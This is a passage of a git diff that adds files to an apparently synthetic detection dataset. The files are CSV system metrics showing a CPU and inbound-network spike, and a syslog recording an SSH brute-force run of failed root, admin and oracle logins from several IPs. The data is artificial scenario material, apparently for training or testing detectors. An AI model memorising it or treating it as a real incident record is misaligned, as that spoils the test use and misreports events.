+2025-07-15T14:01:40Z,11.27,39.12,6.5,0.84,1.18 +2025-07-15T14:01:45Z,15.68,38.59,9.77,1.15,0.55 +2025-07-15T14:01:50Z,15.02,39.97,14.67,0.97,1.04 +2025-07-15T14:01:55Z,15.13,40.5,8.76,1.24,0.81 +2025-07-15T14:02:00Z,93.89,40.92,10.71,18.2,0.7 +2025-07-15T14:02:05Z,91.5,44.18,5.15,18.8,1.46 +2025-07-15T14:02:10Z,85.26,42.93,16.38,8.19,1.25 +2025-07-15T14:02:15Z,86.19,41.65,13.04,18.29,0.61 +2025-07-15T14:02:20Z,96.96,42.55,9.65,17.91,1.04 +2025-07-15T14:02:25Z,92.62,42.81,7.99,12.62,0.92 +2025-07-15T14:02:30Z,86.79,44.21,11.44,13.55,1.16 +2025-07-15T14:02:35Z,92.72,41.1,16.05,13.75,1.28 +2025-07-15T14:02:40Z,86.56,44.97,10.8,10.77,1.24 +2025-07-15T14:02:45Z,87.54,40.49,12.29,8.27,1.26 +2025-07-15T14:02:50Z,89.25,42.25,12.82,19.83,1.3 +2025-07-15T14:02:55Z,97.98,41.51,19.52,11.63,0.54 +2025-07-15T14:03:00Z,92.48,44.81,5.03,9.03,1.44 +2025-07-15T14:03:05Z,88.39,44.12,15.35,15.49,0.95 +2025-07-15T14:03:10Z,96.31,41.5,18.72,12.63,0.58 +2025-07-15T14:03:15Z,97.62,44.1,5.4,16.67,1.02 +2025-07-15T14:03:20Z,95.13,41.23,5.86,18.88,1.31 +2025-07-15T14:03:25Z,95.89,43.57,13.32,14.49,1.15 +2025-07-15T14:03:30Z,86.61,42.48,17.83,15.78,0.53 +2025-07-15T14:03:35Z,98.4,41.07,18.82,16.63,0.96 +2025-07-15T14:03:40Z,90.99,40.48,15.9,14.92,1.11 +2025-07-15T14:03:45Z,87.87,44.59,9.96,13.57,1.3 +2025-07-15T14:03:50Z,94.75,40.87,18.8,9.99,1.06 +2025-07-15T14:03:55Z,85.48,42.66,17.05,17.45,0.63 +2025-07-15T14:04:00Z,97.98,43.49,13.55,18.32,1.46 +2025-07-15T14:04:05Z,94.5,44.29,17.14,11.9,0.72 +2025-07-15T14:04:10Z,93.78,41.72,6.79,11.58,1.45 +2025-07-15T14:04:15Z,92.45,42.84,9.32,13.34,0.72 +2025-07-15T14:04:20Z,93.68,42.78,12.89,10.58,0.77 +2025-07-15T14:04:25Z,94.12,44.06,17.32,15.18,0.66 +2025-07-15T14:04:30Z,95.35,44.49,14.99,18.0,1.29 +2025-07-15T14:04:35Z,91.77,43.99,13.89,11.5,1.23 +2025-07-15T14:04:40Z,97.18,40.84,17.52,19.5,0.72 +2025-07-15T14:04:45Z,90.44,41.81,12.65,11.79,0.57 +2025-07-15T14:04:50Z,86.62,40.94,6.39,14.96,0.59 +2025-07-15T14:04:55Z,98.13,43.55,11.32,12.63,0.68 +2025-07-15T14:05:00Z,93.9,40.9,6.44,14.06,1.13 +2025-07-15T14:05:05Z,86.57,44.13,10.43,12.88,1.07 +2025-07-15T14:05:10Z,86.52,40.48,7.02,18.43,0.81 +2025-07-15T14:05:15Z,86.82,41.52,17.43,9.2,0.81 +2025-07-15T14:05:20Z,91.4,44.97,7.34,18.56,1.24 +2025-07-15T14:05:25Z,86.18,44.33,18.76,12.95,0.73 +2025-07-15T14:05:30Z,91.34,42.28,7.05,15.28,0.84 +2025-07-15T14:05:35Z,95.1,40.85,18.07,14.88,1.2 +2025-07-15T14:05:40Z,96.16,43.35,12.51,19.24,1.15 +2025-07-15T14:05:45Z,89.02,41.26,14.67,18.7,1.47 +2025-07-15T14:05:50Z,93.89,42.39,17.0,14.81,0.84 +2025-07-15T14:05:55Z,93.85,40.25,16.34,10.25,1.03 +2025-07-15T14:06:00Z,16.48,39.38,8.37,0.98,0.99 +2025-07-15T14:06:05Z,16.97,40.81,14.21,0.91,0.62 +2025-07-15T14:06:10Z,16.63,38.13,14.59,1.45,0.8 +2025-07-15T14:06:15Z,14.7,41.66,11.57,1.43,0.67 +2025-07-15T14:06:20Z,16.78,41.15,14.63,1.01,0.91 +2025-07-15T14:06:25Z,16.16,40.01,10.55,1.3,0.82 +2025-07-15T14:06:30Z,11.61,41.06,5.05,1.35,0.86 +2025-07-15T14:06:35Z,14.99,39.12,8.68,1.38,1.09 +2025-07-15T14:06:40Z,17.82,40.38,12.19,1.13,0.79 +2025-07-15T14:06:45Z,16.3,40.62,9.65,1.47,1.06 +2025-07-15T14:06:50Z,17.38,41.9,9.88,1.21,1.14 +2025-07-15T14:06:55Z,12.06,40.3,8.94,1.2,0.92 +2025-07-15T14:07:00Z,18.19,39.43,12.68,1.12,1.16 +2025-07-15T14:07:05Z,17.64,41.64,6.64,1.47,0.85 +2025-07-15T14:07:10Z,13.35,39.49,6.25,1.47,1.07 +2025-07-15T14:07:15Z,12.73,38.08,6.87,1.09,0.77 +2025-07-15T14:07:20Z,17.64,38.18,10.14,1.05,0.51 +2025-07-15T14:07:25Z,15.59,39.83,12.19,1.38,1.03 diff --git a/mali_dataset/scenario_7/mali_7_14.log b/mali_dataset/scenario_7/mali_7_14.log new file mode 100644 index 0000000000000000000000000000000000000000..7e364d28522576f042a4e167d35beea1ecc7d3af --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_14.log @@ -0,0 +1,175 @@ +Jul 15 14:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 14:00:05 systemd[1]: Starting daily clean up activities... +Jul 15 14:00:55 systemd[1]: Starting daily clean up activities... +Jul 15 14:01:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 14:01:45 systemd[1]: Starting daily clean up activities... +Jul 15 14:02:01 sshd[2585]: Failed password for invalid user root from 222.186.176.13 port 20427 ssh2 +Jul 15 14:02:01 sshd[2585]: Failed password for oracle from 115.239.210.27 port 49327 ssh2 +Jul 15 14:02:04 sshd[2585]: Failed password for invalid user user from 115.239.210.27 port 47728 ssh2 +Jul 15 14:02:05 sshd[2585]: Failed password for invalid user admin123 from 101.200.128.18 port 55333 ssh2 +Jul 15 14:02:07 sshd[2585]: Failed password for invalid user support from 182.92.1.241 port 57469 ssh2 +Jul 15 14:02:08 sshd[2585]: Failed password for admin from 101.200.128.18 port 56924 ssh2 +Jul 15 14:02:09 sshd[2585]: Disconnecting: Too many authentication failures for user from 182.92.1.241 port 60412 [preauth] +Jul 15 14:02:12 sshd[2585]: Disconnecting: Too many authentication failures for support from 222.186.176.13 port 25039 [preauth] +Jul 15 14:02:12 sshd[2585]: Failed password for invalid user admin from 182.92.1.241 port 59532 ssh2 +Jul 15 14:02:13 sshd[2585]: Failed password for invalid user admin from 222.186.176.13 port 53974 ssh2 +Jul 15 14:02:15 sshd[2585]: Disconnecting: Too many authentication failures for root from 101.200.128.18 port 59382 [preauth] +Jul 15 14:02:18 sshd[2585]: Disconnecting: Too many authentication failures for guest from 182.92.1.241 port 62340 [preauth] +Jul 15 14:02:21 sshd[2585]: Disconnecting: Too many authentication failures for support from 222.186.176.13 port 10052 [preauth] +Jul 15 14:02:22 sshd[2585]: Disconnecting: Too many authentication failures for oracle from 115.239.210.27 port 35086 [preauth] +Jul 15 14:02:22 sshd[2585]: Failed password for invalid user support from 101.200.128.18 port 13758 ssh2 +Jul 15 14:02:26 sshd[2585]: Failed password for admin from 222.186.176.13 port 60426 ssh2 +Jul 15 14:02:26 sshd[2585]: Failed password for invalid user admin123 from 222.186.176.13 port 33109 ssh2 +Jul 15 14:02:27 sshd[2585]: Failed password for invalid user guest from 182.92.1.241 port 39580 ssh2 +Jul 15 14:02:28 sshd[2585]: Failed password for invalid user test from 222.186.176.13 port 30465 ssh2 +Jul 15 14:02:29 sshd[2585]: Disconnecting: Too many authentication failures for admin from 222.186.176.13 port 36851 [preauth] +Jul 15 14:02:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 14:02:31 sshd[2585]: Failed password for user from 115.239.210.27 port 35210 ssh2 +Jul 15 14:02:32 sshd[2585]: Disconnecting: Too many authentication failures for user from 115.239.210.27 port 29464 [preauth] +Jul 15 14:02:33 sshd[2585]: Failed password for root from 222.186.176.13 port 17958 ssh2 +Jul 15 14:02:35 systemd[1]: Starting daily clean up activities... +Jul 15 14:02:36 sshd[2585]: Disconnecting: Too many authentication failures for support from 182.92.1.241 port 38657 [preauth] +Jul 15 14:02:37 sshd[2585]: Disconnecting: Too many authentication failures for oracle from 182.92.1.241 port 31863 [preauth] +Jul 15 14:02:38 sshd[2585]: Disconnecting: Too many authentication failures for admin from 101.200.128.18 port 25490 [preauth] +Jul 15 14:02:38 sshd[2585]: Disconnecting: Too many authentication failures for guest from 115.239.210.27 port 60593 [preauth] +Jul 15 14:02:38 sshd[2585]: Failed password for admin from 115.239.210.27 port 64301 ssh2 +Jul 15 14:02:40 sshd[2585]: Failed password for admin123 from 222.186.176.13 port 21501 ssh2 +Jul 15 14:02:40 sshd[2585]: Failed password for support from 222.186.176.13 port 56419 ssh2 +Jul 15 14:02:41 sshd[2585]: Failed password for root from 222.186.176.13 port 23898 ssh2 +Jul 15 14:02:42 sshd[2585]: Failed password for invalid user user from 115.239.210.27 port 64889 ssh2 +Jul 15 14:02:44 sshd[2585]: Failed password for root from 182.92.1.241 port 10986 ssh2 +Jul 15 14:02:47 sshd[2585]: Failed password for support from 182.92.1.241 port 61799 ssh2 +Jul 15 14:02:48 sshd[2585]: Failed password for invalid user test from 101.200.128.18 port 60310 ssh2 +Jul 15 14:02:50 sshd[2585]: Failed password for invalid user admin from 222.186.176.13 port 54926 ssh2 +Jul 15 14:02:51 sshd[2585]: Disconnecting: Too many authentication failures for user from 101.200.128.18 port 27999 [preauth] +Jul 15 14:02:52 sshd[2585]: Failed password for admin from 222.186.176.13 port 13629 ssh2 +Jul 15 14:02:53 sshd[2585]: Failed password for invalid user support from 182.92.1.241 port 63040 ssh2 +Jul 15 14:02:54 sshd[2585]: Failed password for oracle from 182.92.1.241 port 36609 ssh2 +Jul 15 14:02:55 sshd[2585]: Failed password for support from 101.200.128.18 port 26684 ssh2 +Jul 15 14:02:57 sshd[2585]: Disconnecting: Too many authentication failures for oracle from 182.92.1.241 port 11791 [preauth] +Jul 15 14:02:57 sshd[2585]: Failed password for invalid user oracle from 101.200.128.18 port 34904 ssh2 +Jul 15 14:03:00 sshd[2585]: Failed password for support from 182.92.1.241 port 46360 ssh2 +Jul 15 14:03:01 sshd[2585]: Disconnecting: Too many authentication failures for oracle from 222.186.176.13 port 46874 [preauth] +Jul 15 14:03:02 sshd[2585]: Failed password for support from 222.186.176.13 port 57516 ssh2 +Jul 15 14:03:04 sshd[2585]: Disconnecting: Too many authentication failures for guest from 115.239.210.27 port 20360 [preauth] +Jul 15 14:03:04 sshd[2585]: Failed password for invalid user user from 101.200.128.18 port 37332 ssh2 +Jul 15 14:03:06 sshd[2585]: Failed password for admin from 115.239.210.27 port 64819 ssh2 +Jul 15 14:03:07 sshd[2585]: Disconnecting: Too many authentication failures for admin123 from 115.239.210.27 port 41773 [preauth] +Jul 15 14:03:07 sshd[2585]: Failed password for support from 182.92.1.241 port 24404 ssh2 +Jul 15 14:03:08 sshd[2585]: Failed password for invalid user support from 115.239.210.27 port 12604 ssh2 +Jul 15 14:03:09 sshd[2585]: Disconnecting: Too many authentication failures for admin from 101.200.128.18 port 61980 [preauth] +Jul 15 14:03:10 sshd[2585]: Failed password for invalid user admin123 from 101.200.128.18 port 16810 ssh2 +Jul 15 14:03:11 sshd[2585]: Failed password for invalid user support from 222.186.176.13 port 23482 ssh2 +Jul 15 14:03:11 sshd[2585]: Failed password for user from 115.239.210.27 port 42575 ssh2 +Jul 15 14:03:12 sshd[2585]: Failed password for invalid user user from 101.200.128.18 port 16784 ssh2 +Jul 15 14:03:13 sshd[2585]: Disconnecting: Too many authentication failures for user from 115.239.210.27 port 58051 [preauth] +Jul 15 14:03:15 sshd[2585]: Failed password for invalid user admin123 from 101.200.128.18 port 55269 ssh2 +Jul 15 14:03:15 sshd[2585]: Failed password for invalid user support from 115.239.210.27 port 21859 ssh2 +Jul 15 14:03:17 sshd[2585]: Failed password for oracle from 182.92.1.241 port 16307 ssh2 +Jul 15 14:03:18 sshd[2585]: Failed password for invalid user admin from 101.200.128.18 port 10940 ssh2 +Jul 15 14:03:19 sshd[2585]: Failed password for support from 222.186.176.13 port 54120 ssh2 +Jul 15 14:03:22 sshd[2585]: Failed password for invalid user support from 222.186.176.13 port 15980 ssh2 +Jul 15 14:03:24 sshd[2585]: Failed password for invalid user admin123 from 115.239.210.27 port 51831 ssh2 +Jul 15 14:03:25 sshd[2585]: Failed password for invalid user support from 182.92.1.241 port 45093 ssh2 +Jul 15 14:03:25 systemd[1]: Starting daily clean up activities... +Jul 15 14:03:26 sshd[2585]: Failed password for invalid user test from 182.92.1.241 port 49655 ssh2 +Jul 15 14:03:27 sshd[2585]: Disconnecting: Too many authentication failures for admin from 222.186.176.13 port 19719 [preauth] +Jul 15 14:03:32 sshd[2585]: Failed password for guest from 115.239.210.27 port 24553 ssh2 +Jul 15 14:03:32 sshd[2585]: Failed password for oracle from 115.239.210.27 port 41280 ssh2 +Jul 15 14:03:32 sshd[2585]: Failed password for root from 101.200.128.18 port 56399 ssh2 +Jul 15 14:03:36 sshd[2585]: Disconnecting: Too many authentication failures for test from 222.186.176.13 port 20470 [preauth] +Jul 15 14:03:37 sshd[2585]: Failed password for invalid user guest from 222.186.176.13 port 28665 ssh2 +Jul 15 14:03:40 sshd[2585]: Failed password for invalid user admin from 101.200.128.18 port 42157 ssh2 +Jul 15 14:03:40 sshd[2585]: Failed password for invalid user admin from 222.186.176.13 port 51359 ssh2 +Jul 15 14:03:41 sshd[2585]: Failed password for invalid user guest from 115.239.210.27 port 54719 ssh2 +Jul 15 14:03:44 sshd[2585]: Failed password for admin123 from 115.239.210.27 port 34067 ssh2 +Jul 15 14:03:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 14:03:47 sshd[2585]: Disconnecting: Too many authentication failures for user from 115.239.210.27 port 52521 [preauth] +Jul 15 14:03:47 sshd[2585]: Failed password for invalid user admin from 115.239.210.27 port 27731 ssh2 +Jul 15 14:03:51 sshd[2585]: Failed password for invalid user oracle from 222.186.176.13 port 13318 ssh2 +Jul 15 14:03:53 sshd[2585]: Failed password for admin from 101.200.128.18 port 40084 ssh2 +Jul 15 14:03:57 sshd[2585]: Failed password for invalid user guest from 101.200.128.18 port 64729 ssh2 +Jul 15 14:03:58 sshd[2585]: Failed password for invalid user test from 182.92.1.241 port 26894 ssh2 +Jul 15 14:04:00 sshd[2585]: Failed password for guest from 101.200.128.18 port 42399 ssh2 +Jul 15 14:04:00 sshd[2585]: Failed password for guest from 115.239.210.27 port 28131 ssh2 +Jul 15 14:04:00 sshd[2585]: Failed password for invalid user support from 222.186.176.13 port 45852 ssh2 +Jul 15 14:04:02 sshd[2585]: Failed password for root from 115.239.210.27 port 50413 ssh2 +Jul 15 14:04:03 sshd[2585]: Failed password for test from 182.92.1.241 port 25601 ssh2 +Jul 15 14:04:06 sshd[2585]: Disconnecting: Too many authentication failures for oracle from 222.186.176.13 port 33434 [preauth] +Jul 15 14:04:06 sshd[2585]: Failed password for user from 115.239.210.27 port 43971 ssh2 +Jul 15 14:04:10 sshd[2585]: Failed password for invalid user admin from 182.92.1.241 port 14457 ssh2 +Jul 15 14:04:10 sshd[2585]: Failed password for root from 222.186.176.13 port 21850 ssh2 +Jul 15 14:04:11 sshd[2585]: Failed password for invalid user support from 115.239.210.27 port 57896 ssh2 +Jul 15 14:04:12 sshd[2585]: Disconnecting: Too many authentication failures for user from 115.239.210.27 port 64954 [preauth] +Jul 15 14:04:14 sshd[2585]: Disconnecting: Too many authentication failures for support from 222.186.176.13 port 62958 [preauth] +Jul 15 14:04:15 systemd[1]: Starting daily clean up activities... +Jul 15 14:04:16 sshd[2585]: Disconnecting: Too many authentication failures for admin123 from 222.186.176.13 port 41950 [preauth] +Jul 15 14:04:17 sshd[2585]: Disconnecting: Too many authentication failures for root from 222.186.176.13 port 45859 [preauth] +Jul 15 14:04:19 sshd[2585]: Failed password for test from 222.186.176.13 port 38579 ssh2 +Jul 15 14:04:21 sshd[2585]: Failed password for invalid user admin123 from 115.239.210.27 port 16117 ssh2 +Jul 15 14:04:23 sshd[2585]: Failed password for invalid user guest from 115.239.210.27 port 64814 ssh2 +Jul 15 14:04:23 sshd[2585]: Failed password for user from 182.92.1.241 port 62842 ssh2 +Jul 15 14:04:25 sshd[2585]: Failed password for invalid user user from 101.200.128.18 port 53973 ssh2 +Jul 15 14:04:26 sshd[2585]: Disconnecting: Too many authentication failures for test from 115.239.210.27 port 44843 [preauth] +Jul 15 14:04:26 sshd[2585]: Failed password for support from 115.239.210.27 port 38940 ssh2 +Jul 15 14:04:31 sshd[2585]: Failed password for invalid user admin from 101.200.128.18 port 43163 ssh2 +Jul 15 14:04:32 sshd[2585]: Disconnecting: Too many authentication failures for guest from 222.186.176.13 port 34692 [preauth] +Jul 15 14:04:33 sshd[2585]: Disconnecting: Too many authentication failures for oracle from 222.186.176.13 port 47664 [preauth] +Jul 15 14:04:33 sshd[2585]: Failed password for invalid user test from 101.200.128.18 port 46280 ssh2 +Jul 15 14:04:34 sshd[2585]: Failed password for invalid user root from 222.186.176.13 port 61275 ssh2 +Jul 15 14:04:36 sshd[2585]: Failed password for invalid user support from 182.92.1.241 port 26881 ssh2 +Jul 15 14:04:36 sshd[2585]: Failed password for test from 101.200.128.18 port 50814 ssh2 +Jul 15 14:04:39 sshd[2585]: Failed password for guest from 182.92.1.241 port 25566 ssh2 +Jul 15 14:04:40 sshd[2585]: Failed password for invalid user oracle from 222.186.176.13 port 47371 ssh2 +Jul 15 14:04:40 sshd[2585]: Failed password for invalid user test from 101.200.128.18 port 59169 ssh2 +Jul 15 14:04:42 sshd[2585]: Disconnecting: Too many authentication failures for admin from 115.239.210.27 port 63559 [preauth] +Jul 15 14:04:42 sshd[2585]: Disconnecting: Too many authentication failures for guest from 115.239.210.27 port 41697 [preauth] +Jul 15 14:04:45 sshd[2585]: Disconnecting: Too many authentication failures for oracle from 222.186.176.13 port 34321 [preauth] +Jul 15 14:04:46 sshd[2585]: Failed password for invalid user guest from 101.200.128.18 port 34953 ssh2 +Jul 15 14:04:47 sshd[2585]: Failed password for invalid user user from 115.239.210.27 port 43601 ssh2 +Jul 15 14:04:50 sshd[2585]: Disconnecting: Too many authentication failures for guest from 101.200.128.18 port 37097 [preauth] +Jul 15 14:04:51 sshd[2585]: Failed password for user from 222.186.176.13 port 36844 ssh2 +Jul 15 14:04:53 sshd[2585]: Disconnecting: Too many authentication failures for guest from 115.239.210.27 port 16303 [preauth] +Jul 15 14:04:54 sshd[2585]: Failed password for admin from 115.239.210.27 port 61207 ssh2 +Jul 15 14:04:57 sshd[2585]: Failed password for invalid user guest from 115.239.210.27 port 59592 ssh2 +Jul 15 14:04:58 sshd[2585]: Disconnecting: Too many authentication failures for admin123 from 182.92.1.241 port 23964 [preauth] +Jul 15 14:05:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 14:05:01 sshd[2585]: Failed password for invalid user root from 101.200.128.18 port 54761 ssh2 +Jul 15 14:05:03 sshd[2585]: Failed password for invalid user test from 101.200.128.18 port 22691 ssh2 +Jul 15 14:05:05 systemd[1]: Starting daily clean up activities... +Jul 15 14:05:07 sshd[2585]: Failed password for oracle from 222.186.176.13 port 18090 ssh2 +Jul 15 14:05:09 sshd[2585]: Failed password for invalid user guest from 182.92.1.241 port 62600 ssh2 +Jul 15 14:05:09 sshd[2585]: Failed password for invalid user support from 182.92.1.241 port 33691 ssh2 +Jul 15 14:05:11 sshd[2585]: Failed password for invalid user oracle from 101.200.128.18 port 17981 ssh2 +Jul 15 14:05:13 sshd[2585]: Failed password for admin123 from 222.186.176.13 port 54517 ssh2 +Jul 15 14:05:13 sshd[2585]: Failed password for user from 182.92.1.241 port 31102 ssh2 +Jul 15 14:05:14 sshd[2585]: Disconnecting: Too many authentication failures for oracle from 101.200.128.18 port 50837 [preauth] +Jul 15 14:05:14 sshd[2585]: Failed password for oracle from 182.92.1.241 port 39087 ssh2 +Jul 15 14:05:16 sshd[2585]: Failed password for admin from 115.239.210.27 port 18684 ssh2 +Jul 15 14:05:18 sshd[2585]: Failed password for test from 101.200.128.18 port 30966 ssh2 +Jul 15 14:05:21 sshd[2585]: Failed password for user from 115.239.210.27 port 19625 ssh2 +Jul 15 14:05:22 sshd[2585]: Failed password for invalid user admin123 from 101.200.128.18 port 26744 ssh2 +Jul 15 14:05:25 sshd[2585]: Failed password for support from 182.92.1.241 port 56312 ssh2 +Jul 15 14:05:26 sshd[2585]: Failed password for invalid user user from 101.200.128.18 port 64161 ssh2 +Jul 15 14:05:28 sshd[2585]: Failed password for invalid user root from 222.186.176.13 port 24352 ssh2 +Jul 15 14:05:28 sshd[2585]: Failed password for invalid user user from 115.239.210.27 port 15186 ssh2 +Jul 15 14:05:30 sshd[2585]: Disconnecting: Too many authentication failures for root from 115.239.210.27 port 15834 [preauth] +Jul 15 14:05:30 sshd[2585]: Failed password for test from 115.239.210.27 port 18892 ssh2 +Jul 15 14:05:33 sshd[2585]: Failed password for invalid user admin123 from 101.200.128.18 port 50868 ssh2 +Jul 15 14:05:36 sshd[2585]: Failed password for guest from 101.200.128.18 port 25464 ssh2 +Jul 15 14:05:36 sshd[2585]: Failed password for invalid user admin from 222.186.176.13 port 49075 ssh2 +Jul 15 14:05:37 sshd[2585]: Failed password for guest from 182.92.1.241 port 15393 ssh2 +Jul 15 14:05:44 sshd[2585]: Failed password for invalid user oracle from 101.200.128.18 port 64755 ssh2 +Jul 15 14:05:44 sshd[2585]: Failed password for test from 222.186.176.13 port 34216 ssh2 +Jul 15 14:05:47 sshd[2585]: Failed password for root from 101.200.128.18 port 49107 ssh2 +Jul 15 14:05:48 sshd[2585]: Failed password for guest from 222.186.176.13 port 24064 ssh2 +Jul 15 14:05:49 sshd[2585]: Failed password for user from 222.186.176.13 port 62861 ssh2 +Jul 15 14:05:51 sshd[2585]: Disconnecting: Too many authentication failures for admin from 222.186.176.13 port 15206 [preauth] +Jul 15 14:05:51 sshd[2585]: Disconnecting: Too many authentication failures for test from 182.92.1.241 port 34768 [preauth] +Jul 15 14:05:52 sshd[2585]: Disconnecting: Too many authentication failures for admin123 from 101.200.128.18 port 49754 [preauth] +Jul 15 14:05:54 sshd[2585]: Failed password for invalid user root from 101.200.128.18 port 42472 ssh2 +Jul 15 14:05:55 systemd[1]: Starting daily clean up activities... +Jul 15 14:05:56 sshd[2585]: Disconnecting: Too many authentication failures for admin123 from 222.186.176.13 port 40428 [preauth] +Jul 15 14:05:56 sshd[2585]: Failed password for oracle from 101.200.128.18 port 39246 ssh2 +Jul 15 14:06:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 14:06:45 systemd[1]: Starting daily clean up activities... diff --git a/mali_dataset/scenario_7/mali_7_15.csv b/mali_dataset/scenario_7/mali_7_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..b8c09d27829bd9357cbb1cb29763bfc3960cd225 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,13.17,42.37,32.24,0.73,1.23 +2025-08-26T14:00:05Z,13.69,43.99,29.92,0.81,1.4 +2025-08-26T14:00:10Z,10.32,43.06,31.26,0.66,0.9 +2025-08-26T14:00:15Z,14.48,41.57,31.32,0.56,1.42 +2025-08-26T14:00:20Z,17.63,42.23,32.78,0.82,1.17 +2025-08-26T14:00:25Z,10.91,43.54,28.69,0.7,1.14 +2025-08-26T14:00:30Z,18.28,42.64,32.73,0.97,1.46 +2025-08-26T14:00:35Z,15.22,42.05,29.17,1.46,1.41 +2025-08-26T14:00:40Z,13.79,43.98,31.89,0.71,1.23 +2025-08-26T14:00:45Z,11.76,41.43,32.72,1.33,1.01 +2025-08-26T14:00:50Z,17.56,41.87,30.29,0.85,1.42 +2025-08-26T14:00:55Z,14.83,42.72,32.88,1.24,0.85 +2025-08-26T14:01:00Z,14.32,42.22,28.84,1.18,1.74 +2025-08-26T14:01:05Z,11.87,42.31,29.65,0.84,0.84 +2025-08-26T14:01:10Z,13.81,43.96,32.53,0.66,1.76 +2025-08-26T14:01:15Z,18.52,42.2,30.63,1.18,1.17 +2025-08-26T14:01:20Z,12.18,42.45,32.55,1.0,1.2 +2025-08-26T14:01:25Z,16.8,42.65,28.32,0.99,1.15 +2025-08-26T14:01:30Z,18.71,42.36,32.81,0.89,0.86 +2025-08-26T14:01:35Z,13.2,41.31,29.89,0.99,0.82 +2025-08-26T14:01:40Z,11.96,43.56,29.1,0.54,1.07 +2025-08-26T14:01:45Z,15.34,43.32,30.18,0.81,1.72 +2025-08-26T14:01:50Z,14.52,43.78,30.33,1.35,1.12 +2025-08-26T14:01:55Z,14.97,41.9,31.4,1.1,1.1 +2025-08-26T14:02:00Z,75.06,44.23,29.99,17.26,1.74 +2025-08-26T14:02:05Z,80.21,43.08,27.15,14.7,2.12 +2025-08-26T14:02:10Z,77.74,43.34,27.79,12.23,1.14 +2025-08-26T14:02:15Z,93.26,44.09,27.94,24.7,2.13 +2025-08-26T14:02:20Z,84.42,43.68,29.63,9.37,1.47 +2025-08-26T14:02:25Z,97.97,43.12,31.75,11.78,1.86 +2025-08-26T14:02:30Z,89.44,42.18,26.01,23.82,2.29 +2025-08-26T14:02:35Z,89.93,44.08,34.8,22.08,1.63 +2025-08-26T14:02:40Z,89.5,42.81,32.33,14.47,1.85 +2025-08-26T14:02:45Z,88.95,44.32,29.34,22.11,1.34 +2025-08-26T14:02:50Z,81.3,41.02,27.69,15.39,1.62 +2025-08-26T14:02:55Z,97.44,42.4,30.19,24.11,1.2 +2025-08-26T14:03:00Z,76.67,41.72,27.83,17.32,1.51 +2025-08-26T14:03:05Z,79.71,42.37,26.24,13.41,1.14 +2025-08-26T14:03:10Z,86.16,41.28,32.69,22.43,1.54 +2025-08-26T14:03:15Z,77.73,42.87,28.23,8.91,2.05 +2025-08-26T14:03:20Z,87.45,42.78,33.32,14.38,1.12 +2025-08-26T14:03:25Z,81.95,43.11,25.53,16.77,1.18 +2025-08-26T14:03:30Z,89.24,41.03,26.76,14.39,2.38 +2025-08-26T14:03:35Z,95.0,43.91,25.92,15.27,1.21 +2025-08-26T14:03:40Z,94.21,40.96,30.66,14.23,1.38 +2025-08-26T14:03:45Z,80.69,40.48,29.11,19.38,1.84 +2025-08-26T14:03:50Z,95.73,41.4,32.89,21.97,1.29 +2025-08-26T14:03:55Z,92.28,40.38,30.45,8.95,1.62 +2025-08-26T14:04:00Z,87.79,43.32,30.16,8.5,2.43 +2025-08-26T14:04:05Z,87.6,44.51,29.66,14.12,1.72 +2025-08-26T14:04:10Z,75.78,41.18,27.66,10.39,2.4 +2025-08-26T14:04:15Z,82.38,42.64,32.86,15.25,1.5 +2025-08-26T14:04:20Z,75.6,43.82,29.42,15.08,2.07 +2025-08-26T14:04:25Z,75.45,40.4,29.84,22.5,2.4 +2025-08-26T14:04:30Z,81.58,41.77,27.38,9.76,2.39 +2025-08-26T14:04:35Z,92.23,41.29,25.95,23.75,2.46 +2025-08-26T14:04:40Z,79.85,40.21,25.63,10.35,1.29 +2025-08-26T14:04:45Z,91.23,40.14,27.3,13.88,1.05 +2025-08-26T14:04:50Z,89.72,43.26,30.98,10.61,2.34 +2025-08-26T14:04:55Z,84.41,44.54,28.42,18.07,2.19 +2025-08-26T14:05:00Z,75.18,41.21,25.53,8.04,1.63 +2025-08-26T14:05:05Z,95.2,43.4,34.94,9.22,2.25 +2025-08-26T14:05:10Z,81.84,42.22,28.9,24.1,1.34 +2025-08-26T14:05:15Z,78.66,41.44,31.57,13.7,1.39 +2025-08-26T14:05:20Z,88.51,44.32,31.41,20.08,1.2 +2025-08-26T14:05:25Z,76.93,44.15,34.98,14.51,2.42 +2025-08-26T14:05:30Z,77.35,40.04,34.33,9.57,1.16 +2025-08-26T14:05:35Z,95.21,43.7,33.76,8.83,1.55 +2025-08-26T14:05:40Z,81.07,41.37,29.5,8.19,2.18 +2025-08-26T14:05:45Z,85.3,43.9,30.65,22.77,1.23 +2025-08-26T14:05:50Z,84.97,44.14,28.99,11.63,1.09 +2025-08-26T14:05:55Z,85.54,40.89,31.85,9.2,1.59 +2025-08-26T14:06:00Z,13.0,42.66,31.42,1.37,1.36 +2025-08-26T14:06:05Z,18.5,41.41,28.29,0.86,1.01 +2025-08-26T14:06:10Z,11.46,41.04,30.41,0.95,1.42 +2025-08-26T14:06:15Z,17.89,43.32,32.33,1.4,1.01 +2025-08-26T14:06:20Z,18.16,41.65,32.37,0.91,0.97 +2025-08-26T14:06:25Z,13.95,41.82,32.9,0.58,1.49 +2025-08-26T14:06:30Z,11.87,43.99,28.12,1.03,1.73 +2025-08-26T14:06:35Z,11.57,43.42,30.26,0.57,0.86 +2025-08-26T14:06:40Z,14.43,41.39,32.01,0.87,0.93 +2025-08-26T14:06:45Z,15.38,43.34,28.86,0.74,1.13 +2025-08-26T14:06:50Z,17.43,43.81,29.74,0.66,1.52 +2025-08-26T14:06:55Z,13.43,42.22,31.92,1.01,1.2 +2025-08-26T14:07:00Z,12.57,41.31,32.55,0.78,1.45 +2025-08-26T14:07:05Z,18.19,42.98,29.25,1.28,1.78 +2025-08-26T14:07:10Z,18.34,43.93,28.51,1.22,0.9 +2025-08-26T14:07:15Z,16.19,43.09,28.72,0.76,1.19 +2025-08-26T14:07:20Z,14.91,42.25,32.29,0.74,0.88 +2025-08-26T14:07:25Z,15.29,41.58,32.29,1.03,1.6 diff --git a/mali_dataset/scenario_7/mali_7_15.log 